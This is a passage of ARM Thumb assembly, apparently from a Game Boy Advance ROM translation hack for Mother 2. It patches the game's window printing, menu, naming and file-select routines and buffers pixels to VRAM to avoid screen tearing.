bl print_blankstr_window_buffer //Clears PSI mov r0,#1 mov r1,#4 mov r2,#4 ldr r3,[r4,#0] bl print_blankstr_window_buffer //Clears Check ldr r0,[r4,#0] bl print_window_with_buffer //Print text in the window bl store_pixels_overworld_options @@end: ldr r4,[sp,#4] strb r4,[r5,#0] //Restore expected amount of lines to be written add sp,#68 pop {r0-r5} pop {pc} .pool //============================================================================== //Setup which only prints either "Talk to" and "Goods" in the main window. b9040_special_string: push {lr} push {r0-r5} add sp,#-76 ldr r5,=#0x3005078 //Make sure the game expects only the right amount of lines to be written (so only 1) ldrb r4,[r5,#0] str r4,[sp,#4] mov r4,#0 strb r4,[r5,#0] ldr r4,=#0x3005230 //Window generic address //Main window lsl r1,r0,#0x18 lsr r1,r1,#0x18 cmp r1,#0 bne @@end //Print only if there is an effective need to do so (So the routine before returned 0) ldr r0,[r4,#0] //Main window place in ram ldr r2,[r0,#4] //Save proper text_start and text_start2 str r2,[sp,#8] ldr r2,[r0,#8] str r2,[sp,#0xC] ldrb r0,[r0,#0] mov r2,#1 and r2,r0 cmp r2,#0 beq @@end //Check if window is enabled before printing in it add r0,sp,#16 bl setupShortMainMenu_Talk_to_Goods //Get shortened menu string mov r1,#0 str r1,[sp,#0] add r1,sp,#16 ldr r0,[r4,#0] mov r2,#5 mov r3,#2 bl 0x80BE4C8 //Let it do its things ldr r0,[r4,#0] bl print_window_with_buffer //Print text in the window ldr r0,[r4,#0] //Restore text_start and text_start2 ldr r1,[sp,#8] str r1,[r0,#4] ldr r1,[sp,#0xC] str r1,[r0,#8] @@end: ldr r4,[sp,#4] strb r4,[r5,#0] //Restore expected amount of lines to be written add sp,#76 pop {r0-r5} lsl r0,r0,#0x18 //Clobbered code lsr r0,r0,#0x18 pop {pc} .pool //============================================================================== //Makes it sure the outer PSI window of the PSI Overworld menu prints the PSIs only once b8cd2_psi_window: push {lr} ldrb r1,[r0,#3] //Checks vwf_skip mov r2,#1 and r2,r1 cmp r2,#1 beq @@do_not_print mov r2,#1 //Goes on as usual and sets vwf_skip to true orr r2,r1 strb r2,[r0,#3] bl clearWindowTiles_buffer pop {pc} @@do_not_print: //Doesn't print in the PSI window ldr r1,=#m2_active_window_pc mov r2,#0 ldsh r1,[r1,r2] push {r1} //Stores the active window pc bl 0x80C3F28 //Input management function pop {r1} //Restores the active window pc cmp r0,#0 //Are we changing the window we're in? If this is 0, we're not beq @@no_change_in_window lsl r0,r0,#0x10 //If r0 is 0xFFFFFFFF, then we're exiting the window lsr r5,r0,#0x10 //Set up r5 properly b @@goToInner @@no_change_in_window: mov r5,#0 ldr r0,=#m2_active_window_pc mov r2,#0 ldsh r0,[r0,r2] //Has the main character changed? cmp r0,r1 beq @@keep ldr r0,[r4,#0x1C] //If it has, set wvf_skip to false mov r2,#0 strb r2,[r0,#3] pop {r0} add r0,#0xA bx r0 @@goToInner: ldr r0,[r4,#0x1C] //Stores false in vwf_skip, which means the window will be printed mov r2,#0 strb r2,[r0,#3] @@keep: ldr r7,=#m2_active_window_pc //The game sets this up in the code we jump, so we need to set it up here pop {r0} add r0,#0x18 bx r0 //Jump to the next useful piece of code .pool //============================================================================== //Makes it sure the outer PSI window of the PSI Status menu prints the PSIs only once bacea_status_psi_window: push {lr} ldrh r2,[r0,#0x36] push {r2} //Stores the cursor's Y position bl 0x80BE53C //Input management function push {r0} //Stores the input ldr r0,[r5,#0x20] //Loads vwf_skip ldrb r1,[r0,#3] mov r2,#1 and r2,r1 cmp r2,#1 //Checks if true beq @@do_not_print mov r2,#1 //Sets vwf_skip to true and proceeds as usual orr r2,r1 strb r2,[r0,#3] pop {r0} pop {r2} pop {pc} @@do_not_print: pop {r0} cmp r0,#0 //If the input is > 0, then we're entering one of the submenus (Offensive, Healing, etc.) bgt @@goToInner cmp r0,#0 beq @@noAction lsl r0,r0,0x10 //If the input is 0xFFFFFFFF we're exiting the window. Sets r4 up and vwf_skip to false, then exits the routine. asr r4,r0,0x10 ldr r0,[r5,#0x20] mov r2,#0 strb r2,[r0,#3] pop {r0} pop {r0} add r0,#4 bx r0 @@noAction: mov r4,#0 pop {r1} ldr r0,[r5,#0x20] ldrh r2,[r0,#0x36] cmp r1,r2 //Checks if the cursor's Y position is the same as it was before beq @@noActionAtAll mov r2,#0 //If it's not, then sets vwf_skip to false strb r2,[r0,#3] @@noActionAtAll: b @@end //Goes to the end of the routine @@goToInner: lsl r0,r0,0x10 //Properly stores the output into r4 and, since we're going into the inner window, sets vwf_skip to false asr r4,r0,0x10 ldr r0,[r5,#0x20] mov r2,#0 strb r2,[r0,#3] pop {r0} @@end: pop {r0} add r0,#0x3E bx r0 //Jump to the next useful piece of code //============================================================================== //Makes it sure the outer PSI window of the PSI battle menu prints the PSIs only once //It's the same as the one above, but the bottom exit is different e079a_battle_psi_window: push {lr} ldrh r2,[r0,#0x36] push {r2} //Stores the cursor's Y position bl 0x80BE53C //Input management function push {r0} //Stores the input ldr r0,[r5,#0x20] //Loads vwf_skip ldrb r1,[r0,#3] mov r2,#1 and r2,r1 cmp r2,#1 //Checks if true beq @@do_not_print mov r2,#1 //Sets vwf_skip to true and proceeds as usual orr r2,r1 strb r2,[r0,#3] pop {r0} pop {r2} pop {pc} @@do_not_print: pop {r0} cmp r0,#0 //If the input is > 0, then we're entering one of the submenus (Offensive, Healing, etc.) bgt @@goToInner cmp r0,#0 beq @@noAction lsl r0,r0,0x10 //If the input is 0xFFFFFFFF we're exiting the window. Sets r4 up and vwf_skip to false, then exits the routine. asr r4,r0,0x10 ldr r0,[r5,#0x20] mov r2,#0 strb r2,[r0,#3] pop {r0} pop {r0} add r0,#4 bx r0 @@noAction: mov r4,#0 pop {r1} ldr r0,[r5,#0x20] ldrh r2,[r0,#0x36] cmp r1,r2 //Checks if the cursor's Y position is the same as it was before beq @@noActionAtAll mov r2,#0 //If it's not, then sets vwf_skip to false strb r2,[r0,#3] @@noActionAtAll: b @@end //Goes to the end of the routine @@goToInner: lsl r0,r0,0x10 //Properly stores the output into r4 and, since we're going into the inner window, sets vwf_skip to false asr r4,r0,0x10 ldr r0,[r5,#0x20] mov r2,#0 strb r2,[r0,#3] pop {r0} @@end: pop {r0} add r0,#0x36 bx r0 //Jump to the next useful piece of code //============================================================================== //Makes it sure the inner PSI window of the PSI status menu prints the descriptions only once //It also sets things up to make it so the target window is only printed once badb0_status_inner_window: push {lr} ldrh r1,[r0,#0x36] //Stores the cursor's Y of the window push {r1} ldrh r1,[r0,#0x34] //Stores the cursor's X of the window push {r1} bl PSITargetWindowInput //Input management, target printing and header printing function. Now the function takes the cursor's Y and X as arguments too in the stack lsl r0,r0,#0x10 lsr r4,r0,#0x10 //Properly stores the output into r4 ldr r1,=#0x8B2A9B0 //Clobbered code ldr r0,[r5,#0x1C] add r0,#0x42 ldrb r0,[r0,#0] lsl r0,r0,#4 add r1,#0xC add r0,r0,r1 ldr r2,[r0,#0] ldr r0,[r5,#0x1C] ldrh r1,[r0,#0x34] ldr r3,[sp,#0] cmp r1,r3 //Checks if the cursor's X changed bne @@ChangedPosition ldr r3,[sp,#4] //If it did not, checks if the cursor's Y changed ldrh r1,[r0,#0x36] cmp r1,r3 beq @@print @@ChangedPosition: ldr r0,[r5,0x28] //Sets wvf_skip to false mov r1,#0 strb r1,[r0,#3] @@print: //Description printing ldr r0,[r5,0x28] ldrb r1,[r0,#3] mov r3,#1 and r1,r3 cmp r1,#0 //Checks if vwf_skip is false bne @@end mov r1,r2 //If it is, prints the PSI description mov r2,0 bl initWindow_buffer //Initializes the PSI description window ldr r0,[r5,0x28] bl print_window_with_buffer //Prints the PSI description window bl store_pixels_overworld ldr r0,[r5,0x28] ldrb r1,[r0,#3] //Sets vwf_skip to true mov r3,#1 orr r1,r3 strb r1,[r0,#3] @@end: ldr r0,=#0xFFFF //Are we exiting this window? cmp r4,r0 bne @@ending //If we are, set vwf_skip to false for both the description window and the target window ldr r0,[r5,0x28] //Description window mov r2,#0 strb r2,[r0,#3] ldr r0,[r5,0x24] //Target window strb r2,[r0,#3] @@ending: pop {r0} pop {r0} pop {r0} add r0,#0x18 bx r0 //Jump to the next useful piece of code .pool //============================================================================== //Stores the buffer for the Stored Goods window when switching the page c6ac0_store_buffer_stored_goods_switch_page: mov r0,#8 str r0,[sp,#0x2C] push {lr} bl store_pixels_overworld pop {pc} //============================================================================== //Calls print_window_with_buffer and then stores the buffer baf9c_print_window_store_buffer: push {lr} bl print_window_with_buffer bl store_pixels_overworld pop {pc} //============================================================================== //Calls print_window_with_buffer and then stores the buffer if need be baf9c_print_window_store_buffer_needed: push {lr} add sp,#-4 mov r1,#0x44 add r1,r1,r0 ldrb r1,[r1,#0] str r1,[sp,#0] bl print_window_with_buffer ldr r1,[sp,#0] cmp r1,#0 beq @@end bl store_pixels_overworld_use @@end: add sp,#4 pop {pc} //============================================================================== //Calls print_window_with_buffer and then stores the buffer if need be - Special edition which does only a few tiles b98b8_print_window_store_buffer_needed: push {lr} add sp,#-4 mov r1,#0x44 add r1,r1,r0 ldrb r1,[r1,#0] str r1,[sp,#0] bl print_window_with_buffer ldr r1,[sp,#0] cmp r1,#0 beq @@end mov r0,#4 bl store_pixels_overworld_buffer_totalTiles @@end: add sp,#4 pop {pc} //============================================================================== //Calls print_window_with_buffer and then stores the buffer baf9c_print_window_store_buffer_top: push {lr} bl print_window_with_buffer bl store_pixels_overworld_top pop {pc} //============================================================================== //Calls printstr_hlight_buffer and then stores the buffer c5f80_printstr_hlight_buffer_store_buffer: push {r4,lr} ldr r4,[sp,#8] add sp,#-4 str r4,[sp,#0] bl printstr_hlight_buffer bl store_pixels_overworld add sp,#4 pop {r4,pc} //============================================================================== //Fixes issue with sounds when going from the PSI window to the inner PSI window b8d40_psi_going_inner_window: push {lr} bl PSITargetWindowInput bl store_pixels_overworld pop {pc} //============================================================================== //It sets things up to make it so the target window is only printed once b8db4_psi_inner_window: push {lr} ldrb r1,[r0,#3] push {r1} ldrh r1,[r0,#0x36] //Stores the cursor's Y of the window push {r1} ldrh r1,[r0,#0x34] //Stores the cursor's X of the window push {r1} bl PSITargetWindowInput //Input management, target printing and header printing function. Now the function takes the cursor's Y and X as arguments too in the stack pop {r2} ldr r3,[r4,0x24] //Target window ldrh r1,[r3,#0x34] //Stores the cursor's X of the window cmp r1,r2 bne @@store_buffer_first pop {r2} ldrh r1,[r3,#0x36] //Stores the cursor's Y of the window cmp r1,r2 bne @@store_buffer_second pop {r2} mov r1,#1 and r1,r2 cmp r1,#1 beq @@continue b @@store_buffer @@store_buffer_first: pop {r2} @@store_buffer_second: pop {r2} @@store_buffer: cmp r0,#0 bne @@continue bl store_pixels_overworld @@continue: cmp r0,#0 beq @@ending mov r2,#0 //Sets vwf_skip to false since the window is changed ldr r1,[r4,0x24] //Target window strb r2,[r1,#3] @@ending: pop {pc} .pool //============================================================================== //It sets things up to make it so the target window is only printed once e0854_psi_inner_window_battle: push {lr} ldrb r1,[r0,#3] push {r1} ldrh r1,[r0,#0x36] //Stores the cursor's Y of the window push {r1} ldrh r1,[r0,#0x34] //Stores the cursor's X of the window push {r1} bl PSITargetWindowInput //Input management, target printing and header printing function. Now the function takes the cursor's Y and X as arguments too in the stack pop {r2} ldr r3,[r4,0x24] //Target window ldrh r1,[r3,#0x34] //Stores the cursor's X of the window cmp r1,r2 bne @@store_buffer_first pop {r2} ldrh r1,[r3,#0x36] //Stores the cursor's Y of the window cmp r1,r2 bne @@store_buffer_second pop {r2} mov r1,#1 and r1,r2 cmp r1,#1 beq @@continue b @@store_buffer @@store_buffer_first: pop {r2} @@store_buffer_second: pop {r2} @@store_buffer: cmp r0,#0 bne @@continue bl store_pixels_overworld_psi_window @@continue: cmp r0,#0 beq @@ending mov r2,#0 //Sets vwf_skip to false since the window is change ldr r1,[r5,0x24] //Target window strb r2,[r1,#3] @@ending: pop {pc} .pool //============================================================================== _4092_print_window: push {lr} push {r0-r4} bl print_windows pop {r0-r4} bl 0x800341C pop {pc} //============================================================================== _4294_print_window_store: push {lr} push {r0-r4} ldr r2,[sp,#0x20] bl print_windows bl store_pixels pop {r0-r4} mov r2,#0 mov r3,#0 pop {pc} //============================================================================== //X cursor for the Options submenu position _position_X_Options: push {lr} cmp r0,#1 bne @@next1 mov r0,#5 b @@end @@next1: cmp r0,#6 bne @@next2 mov r0,#11 b @@end @@next2: cmp r0,#11 bne @@next3 mov r0,#15 b @@end @@next3: mov r0,#20 @@end: pop {pc} //============================================================================== //Sets X for highlighting the Options submenu in the File Select window _40e2_cursor_X: push {lr} mov r0,r1 bl _position_X_Options sub r1,r0,#3 mov r0,#2 pop {pc} //============================================================================== //Sets X cursor for the Options submenu in the File Select window _41d4_cursor_X: push {lr} bl _position_X_Options lsl r0,r0,#3 pop {pc} //============================================================================== //Makes sure Paula's window is loaded properly since the name length has been changed to 5 and the game previously used the 4 to load the window too _4f7c_window_selector: push {lr} mov r0,#4 mov r10,r0 ldr r1,=#0x82B7FF8 pop {pc} .pool //============================================================================== //Prints and stores the PSI window in the PSI menu baec6_psi_window_print_buffer: push {lr} bl psiWindow_buffer bl store_pixels_overworld pop {pc} //============================================================================== //Loads the buffer in if entering another window from the main window b7d9a_main_window_manage_input: push {lr} bl 0x80BE53C cmp r0,#0 beq @@end cmp r0,#0 blt @@end bl load_pixels_overworld push {r0-r2} swi #5 pop {r0-r2} @@end: pop {pc} //============================================================================== //Prints the target window if and only if the cursor's position changed in this input management function c495a_status_target: push {r4,lr} ldr r1,=#0x3005230 ldr r4,[r1,#0x24] //Loads the target window ldr r3,[sp,#0x30] ldrh r2,[r5,#0x34] cmp r2,r3 //Has the cursor's X changed? bne @@Updated ldr r3,[sp,#0x34] //If not, has the cursor's Y changed? ldrh r2,[r5,#0x36] cmp r2,r3 beq @@printing @@Updated: mov r2,#0 //If the cursor's position changed, set vwf_skip to false strb r2,[r4,#3] @@printing: ldrb r1,[r4,#0x3] mov r2,#1 and r2,r1 cmp r2,#0 //Checks if vwf_skip is false bne @@end ldrb r1,[r4,#0x3] //If it is, sets vwf_skip to true, clears the window and updates the target window mov r2,#1 orr r2,r1 strb r2,[r4,#0x3] mov r3,r0 mov r0,r4 ldr r1,=#overworld_buffer - buffer_subtractor mov r4,r3 bl clear_window_buffer mov r0,r4 bl psiTargetWindow_buffer @@end: pop {r4,pc} //============================================================================== //Makes sure m2_initwindow properly sets vwf_skip to false be45a_set_proper_wvf_skip: push {lr} mov r3,r0 mov r0,#0 strb r0,[r3,#3] pop {pc} //============================================================================== //Makes sure this initialization routine properly sets vwf_skip to false. This fixes an issue where due to a background the Goods window in battle might have not be printed be4ca_set_proper_wvf_skip_goods_battle_window: push {lr} mov r4,#0 strb r4,[r0,#3] mov r12,r0 //Clobbered code mov r4,r1 pop {pc} //============================================================================== //Makes sure the window type is set to 0 for the inner PSI overworld menu window. Fixes an issue in M2GBA. b8c2a_set_proper_wvf_skip_and_window_type: push {lr} strb r1,[r0,#1] bl initWindow_buffer pop {pc} //============================================================================== //Fix the random garbage issue for the alphabet for good _2322_setup_windowing: push {lr} bl 0x8012460 //Default code which sets up the names by copying memory which can be random push {r0-r1} ldr r0,=#m2_cstm_last_printed //Set the window flag to 0 so no issue can happen mov r1,#0 strb r1,[r0,#0] pop {r0-r1} pop {pc} .pool //============================================================================== //Loads the vram into the buffer, it's called each time there is only the main file_select window active (a good way to set the whole thing up) _38c0_load_pixels: push {lr} ldr r3,=#0x40000B0 //DMA transfer 0 ldr r0,=#0x6008000 //Source str r0,[r3] ldr r0,=#0x2015000 //Target str r0,[r3,#4] ldr r0,=#0x84001200 //Store 0x4800 bytes str r0,[r3,#8] ldr r0,[r3,#8] ldr r3,[r5,#0] mov r0,#0x84 lsl r0,r0,#2 pop {pc} //============================================================================== //Stores the buffer into the vram. This avoids screen tearing. store_pixels: push {r0-r1,lr} ldr r1,=#0x40000B0 //DMA transfer 0 ldr r0,=#0x2015000 //Source str r0,[r1] ldr r0,=#0x6008000 //Target str r0,[r1,#4] ldr r0,=#0x94001200 //Store 0x4800 bytes str r0,[r1,#8] ldr r0,[r1,#8] pop {r0-r1,pc} //============================================================================== //Specific routine which calls store_pixels for the main file_select window _38f8_store_pixels: push {lr} bl store_pixels ldr r1,[r5,#0] mov r3,#0xC pop {pc} //============================================================================== //Generic routine which prints a window and then stores the pixels of all the other windows. It's called once, after all the other windows (which will use _4092_print_window) have printed. _4092_print_window_store: push {lr} bl _4092_print_window bl store_pixels pop {pc} //============================================================================== //Routine for the top part of the screen only. Used in order to make printing the names less CPU intensive when naming the characters _4edc_print_window_store: push {lr} bl _4092_print_window push {r0-r1} ldr r1,=#0x40000B0 //DMA transfer 0 ldr r0,=#0x2015000 //Source str r0,[r1] ldr r0,=#0x6008000 //Target str r0,[r1,#4] ldr r0,=#0x94000200 //Store 0x800 bytes str r0,[r1,#8] ldr r0,[r1,#8] pop {r0-r1} pop {pc} //============================================================================== //Loads and prints the text lines for the file select main window _setup_file_strings: push {r4-r5,lr} add sp,#-8 ldr r5,=#0x3000024 ldr r2,[r5,#0] ldr r4,[r2,#4] str r4,[sp,#4] //Save this here mov r4,#0 str r4,[r2,#4] mov r0,#0 bl 0x8002170 //Routine which loads the save corresponding to r0 mov r0,#1 bl 0x8002170 mov r0,#2 bl 0x8002170 ldr r3,[r5,#0] mov r0,#0x84 lsl r0,r0,#2 add r3,r3,r0 str r4,[sp,#0] mov r0,#2 mov r1,#1 mov r2,#0x40 bl wrapper_file_string_selection ldr r3,[r5,#0] ldr r0,=#0x454 add r3,r3,r0 str r4,[sp,#0] mov r0,#2 mov r1,#3 mov r2,#0x40 bl wrapper_file_string_selection ldr r3,[r5,#0] mov r0,#0xD3 lsl r0,r0,#3 add r3,r3,r0 str r4,[sp,#0] mov r0,#2 mov r1,#5 mov r2,#0x40 bl wrapper_file_string_selection mov r0,#1 mov r1,#0 mov r2,#0 bl 0x800341C ldr r2,[r5,#0] ldr r4,[sp,#4] str r4,[r2,#4] //Restore this add sp,#8 pop {r4-r5,pc} .pool //============================================================================== //Prints a digit to the dialogue window d37ec_print_number: push {lr} bl decode_character mov r1,r5 bl print_character_to_window pop {pc} //============================================================================== //Makes it sure the outer equip menu prints the window only when needed baf60_outer_equip_setup: push {lr} ldr r1,=#m2_active_window_pc ldrb r1,[r1,#0] push {r1} //Stores the active_window_pc bl equipReadInput //Input management function pop {r1} cmp r0,#0 //Has an action happened? (Are we entering/exiting the menu?) beq @@check_character_change ldr r1,[r6,#0x18] //Main equip window - If it has, then set vwf_skip to false for both the equipment numbers window and the main equipment window mov r2,#0 strb r2,[r1,#3] ldr r1,[r6,#0x14] //Offense and Defense window strb r2,[r1,#3] b @@end @@check_character_change: ldr r2,=#m2_active_window_pc ldrb r2,[r2,#0] //Has the character changed? cmp r2,r1 beq @@end ldr r1,[r6,#0x14] //Offense and Defense window - If it has, then set vwf_skip to false for the equipment numbers window mov r2,#0 strb r2,[r1,#3] @@end: pop {pc} //============================================================================== //Prints the outer equip window only when needed - makes it so 0x80C4EB0 takes the previous m2_active_window_pc as a function parameter c518e_outer_equip: push {lr} ldr r1,[sp,#0x1C] lsl r1,r1,#0x18 lsr r1,r1,#0x18 ldr r2,=#m2_active_window_pc ldrb r2,[r2,#0] cmp r1,r2 //Has the active_window_pc changed? beq @@printing mov r2,#0 //If it has, then reprint the window strb r2,[r0,#3] @@printing: ldrb r1,[r0,#3] mov r2,#1 and r2,r1 cmp r2,#1 beq @@skip //Check if vwf_skip is false mov r2,#1 //If it is, print and set it to true orr r2,r1 strb r2,[r0,#3] bl 0x80C4B2C //Prints the equip menu @@skip: pop {pc} //============================================================================== //Prints the numbers in the offense/defense window for the outer equip window only when needed bafc8_outer_equip_attack_defense: push {lr} ldr r1,[r6,#0x14] //Offense and Defense window ldrb r2,[r1,#3] mov r3,#1 and r3,r2 cmp r3,#1 //Is vwf_skip false? beq @@skip cmp r5,#0 //If it is, then print, but only if no action was performed bne @@skip mov r3,#1 //Set vwf_skip to true and continue as usual orr r3,r2 strb r3,[r1,#3] lsl r0,r0,#0x18 //Clobbered code lsr r0,r0,#0x18 pop {pc} @@skip: mov r5,r7 add r5,#0x12 //Setup r5 just like the code skipped does pop {r0} mov r1,#0xF1 lsl r1,r1,#1 add r0,r0,r1 //Jump to 0x80BB1AE bx r0 .pool //============================================================================== //Prints defense number and then sotres the buffer bb1aa_printnumberequip_store: push {r4,lr} mov r4,r3 mov r3,#0 push {r3} mov r3,r4 bl printNumberEquip bl store_pixels_overworld pop {r3} pop {r4,pc} //============================================================================== //Prints blankstr in the buffer bb21c_print_blankstr_buffer: push {lr} ldr r3,=#overworld_buffer - buffer_subtractor bl print_blankstr_buffer pop {pc} //============================================================================== //Prints blankstr in the buffer and stores it bb21c_print_blankstr_buffer_store: push {lr} ldr r3,=#overworld_buffer - buffer_subtractor bl print_blankstr_buffer bl store_pixels_overworld pop {pc} //============================================================================== //Set things up so the numbers for Offense and Defense for the innermost equipment window is only printed when needed bb990_inner_equip_attack_defense_setup: push {lr} ldr r1,=#0x3005200 ldr r1,[r1,#0xC] //Window's item list mov r2,#0x36 ldsh r2,[r0,r2] //Window's Y cursor add r1,r1,r2 ldrb r1,[r1,#0] //Selected item push {r1} bl equippableReadInput //Input management function - returns the currently selected item pop {r1} cmp r1,r0 //Has the currently selected item changed? bne @@refresh ldr r1,=#0x3005230 //If not, check if A has been pressed ldr r1,[r1,#0x10] ldr r2,=#0xFFFF ldrh r3,[r1,#0x32] //If A has been pressed this becomes 0xFFFF cmp r2,r3 bne @@end @@refresh: ldr r1,=#0x3005230 //Set wvf_skip to false ldr r1,[r1,#0x14] mov r2,#0 strb r2,[r1,#3] @@end: pop {pc} //============================================================================== //Prints the numbers for Offense and Defense for the innermost window only if needed - Valid weapons bb6b2_inner_equip_attack_defense_weapon: push {lr} mov r1,r9 ldr r1,[r1,#0x14] ldrb r0,[r1,#3] mov r2,#1 and r2,r0 cmp r2,#1 //Is vwf_skip false? beq @@skip mov r2,#1 //If it is, set vwf_skip to true, clear the numbers' space and proceed normally orr r2,r0 strb r2,[r1,#3] bl clear_offense_defense_inner_equip mov r1,r8 mov r2,#0 pop {pc} @@skip: mov r5,r7 //Otherwise skip some code add r5,#0x12 mov r4,#0 pop {r0} add r0,#0x62 //Go to 0x80BB718 bx r0 //============================================================================== //Prints the numbers for Offense and Defense for the innermost window only if needed - None in weapons bb64e_inner_equip_attack_defense_none_weapon: push {lr} mov r1,r9 ldr r1,[r1,#0x14] ldrb r0,[r1,#3] mov r2,#1 and r2,r0 cmp r2,#1 //Is vwf_skip false? beq @@skip mov r2,#1 //If it is, set vwf_skip to true, clear the numbers' space and proceed normally orr r2,r0 strb r2,[r1,#3] bl clear_offense_defense_inner_equip mov r3,r8 //This is where this differs from the routine above mov r1,#0 pop {pc} @@skip: mov r5,r7 //Otherwise skip some code add r5,#0x12 mov r4,#0 pop {r0} add r0,#0xC6 //Go to 0x80BB718 - The routine differs here too bx r0 //============================================================================== //Prints the numbers for Offense and Defense for the innermost window only if needed - Defensive equipment bbe7c_inner_equip_attack_defense_defensive_equipment: push {lr} ldr r1,=#0x3005230 ldr r1,[r1,#0x14] ldrb r0,[r1,#3] mov r2,#1 and r2,r0 cmp r2,#1 //Is vwf_skip false? beq @@skip mov r2,#1 //If it is, set vwf_skip to true, clear the numbers' space and proceed normally orr r2,r0 strb r2,[r1,#3] bl clear_offense_defense_inner_equip mov r4,#0 strb r4,[r7,#0x15] pop {pc} @@skip: pop {r0} //Otherwise go to the routine's end ldr r0,=#0x80BBEC7 //End of routine bx r0 //============================================================================== //Clears the rightmost part of the Offense/Defense window for the innermost equipment menu clear_offense_defense_inner_equip: push {lr} mov r0,0xD mov r1,0xB mov r2,0x3 bl bb21c_print_blankstr_buffer mov r0,0xD mov r1,0xD mov r2,0x3 bl bb21c_print_blankstr_buffer pop {pc} .pool //============================================================================== //Fixes issue with file select menu not printing after going back to it from the alphabet _53f6_fix_out_of_description: push {lr} bl 0x800341C bl _setup_file_strings mov r0,#3 mov r1,#0xA mov r2,#1 bl _4092_print_window //Prints the text speed menu mov r0,#0xF mov r1,#4 mov r2,#2 bl _4092_print_window //Prints the text flavour menu bl store_pixels pop {pc} //============================================================================== //Fixes issue with the option submenu (if it's there) and the file select menu after going back to the text speed window from the text flavour window _3dce_fix_out_of_text_flavour: push {lr} bl 0x8003F44 mov r0,#0 ldsh r0,[r5,r0] //Checks whether or not to print the option menu cmp r0,#0 blt @@end mov r0,#4 mov r1,#7 mov r2,#0xE bl _4092_print_window //Prints the option menu @@end: bl _setup_file_strings bl store_pixels pop {pc} //============================================================================== //Fixes text reprinting when pressing up or down in the text flavour window _3e86_special_setup: push {lr} push {r0-r2} ldr r0,=#m2_cstm_last_printed ldrb r2,[r0,#0] mov r1,#0x80 orr r1,r2 strb r1,[r0,#0] pop {r0-r2} bl 0x8003F44 pop {pc} //============================================================================== //Highlights all of the file string with the proper palette _highlight_file: push {lr} mov r0,#2 ldr r1,=#0x3000024 //Load in r1 the y co-ordinate ldr r1,[r1,#0] ldr r1,[r1,#8] lsl r1,r1,#1 add r1,#1 mov r2,#0 mov r3,r4 bl setPaletteOnFile pop {pc} .pool //============================================================================== //File highlighting for the up-down arrows in the text flavour window _3f78_highlight_file: push {lr} bl _highlight_file mov r0,#4 //Clobbered code ldsh r2,[r4,r0] pop {pc} //============================================================================== //File highlighting for when a file is selected _3a04_highlight_file: push {lr} bl _highlight_file mov r0,#1 //Clobbered code mov r1,#0 pop {pc} //============================================================================== //A Press c75b4_overworld_naming_top_printing: push {lr} ldr r0,=#m2_player1 mov r1,r2 str r3,[sp,#0x24] bl player_name_printing_registration bl store_pixels_overworld_player_naming pop {pc} //============================================================================== //B Press c780e_overworld_naming_top_printing: push {lr} ldr r1,=#0x3005230 ldr r1,[r1,#0x0C] ldr r0,=#m2_player1 bl player_name_printing_registration bl store_pixels_overworld_player_naming pop {pc} //============================================================================== //Backspace c74cc_overworld_naming_top_printing: push {lr} ldr r1,=#0x3005230 ldr r1,[r1,#0x0C] ldr r0,=#m2_player1 bl player_name_printing_registration bl store_pixels_overworld_player_naming pop {pc} //============================================================================== //Re-enter the menu c6cc6_overworld_naming_top_printing: push {lr} mov r2,r0 mov r0,r1 mov r1,r2 bl player_name_printing_registration str r0,[sp,#0x24] mov r9,r0 pop {pc} //============================================================================== //Cursor movement of overworld alphabet c6f24_overworld_alphabet_movement: push {lr} mov r0,r7 ldr r1,=#0x3002500 add r1,#0x18 bl setupCursorMovement_Overworld_Alphabet mov r9,r0 ldr r2,=#0x3002500 pop {pc} .pool //============================================================================== //Generic alphabet printing routine. Uses the default code. r0 is the alphabet and r1 is the alphabet string to print if need be print_alphabet_if_needed: push {lr} ldr r2,[sp,#0x2C] cmp r2,r0 //Is the alphabet loaded different from the one we're going in? beq @@end str r0,[sp,#0x2C] //If it is, print the new alphabet ldr r5,=#0x3005230 //Default printing code ldr r4,[r5,#0x10] //Window mov r2,r1 //String to load ldr r0,=#0x8B17EE4 //String ldr r1,=#0x8B17424 bl m2_strlookup mov r1,r0 mov r0,r4 mov r2,#0 bl initWindow_buffer ldr r0,[r5,#0x10] bl print_alphabet_buffer //Print alphabet in buffer bl store_pixels_overworld @@end: pop {pc} //============================================================================== //Prints the first alphabet and stores the buffer c6d78_print_slphabet_store: push {lr} bl print_alphabet_buffer bl store_pixels_overworld pop {pc} //============================================================================== //Loads stuff up for the small alphabet and calls print_alphabet_if_needed c73c0_small_overworld_alphabet: push {lr} mov r0,#1 //Alphabet 1, small mov r1,#0x62 //String 0x62, small alphabet bl print_alphabet_if_needed pop {pc} //============================================================================== //Loads stuff up for the CAPITAL alphabet and calls print_alphabet_if_needed c7394_CAPITAL_overworld_alphabet: push {lr} mov r0,#0 //Alphabet 0, CAPITAL mov r1,#0x63 //String 0x63, CAPITAL alphabet bl print_alphabet_if_needed pop {pc} //============================================================================== //Loads the proper letter table based on the loaded alphabet c7578_load_letters: push {lr} ldr r2,=#m2_overworld_alphabet_table //Letter table ldr r0,[sp,#0x28] cmp r0,#1 bne @@generic_end mov r0,#0x90 //If this is the small alphabet, go to its alphabet add r2,r2,r0 @@generic_end: mov r3,#0x36 //Clobbered code pop {pc} .pool //============================================================================== //Prints the cash window and then stores the buffer to vram b8894_printCashWindowAndStore: push {lr} bl printCashWindow bl store_pixels_overworld pop {pc} //============================================================================== //UNUSED bac46_statusWindowNumbersStore: push {lr} bl statusWindowNumbers bl store_pixels_overworld pop {pc} //============================================================================== //Prints the status text and numbers in the buffer, then loads it in vram b8320_statusWindowTextStore: push {lr} push {r0} bl statusWindowText pop {r0} mov r1,#0 bl statusNumbersPrint bl store_pixels_overworld pop {pc} //============================================================================== //Routine which checks if all the teleport locations have been printed. If they do, it stores the buffer c5f04_store_if_done: push {lr} lsr r5,r0,#0x10 ldr r2,[sp,#0x18] cmp r0,r2 blt @@end bl store_pixels_overworld @@end: pop {pc} //============================================================================== //Loads the vram into the buffer, it's called each time there is only the main file_select window active (a good way to set the whole thing up) load_pixels_overworld: push {r0-r3,lr} bl load_pixels_overworld_buffer pop {r0-r3,pc} //============================================================================== //Stores the buffer into the vram. This avoids screen tearing. store_pixels_overworld: push {r0-r3,lr} swi #5 //The improved performances allow using a VBlank before the storage in order to prevent screen tearing effectively mov r0,#0x10 bl store_pixels_overworld_buffer pop {r0-r3,pc} //============================================================================== //Stores the buffer into the vram. This avoids screen tearing. store_pixels_overworld_options: push {r0-r3,lr} swi #5 //The improved performances allow using a VBlank before the storage in order to prevent screen tearing effectively mov r0,#6 bl store_pixels_overworld_buffer pop {r0-r3,pc} //============================================================================== //Stores the buffer into the vram. This avoids screen tearing. store_pixels_overworld_use: push {r0-r3,lr} 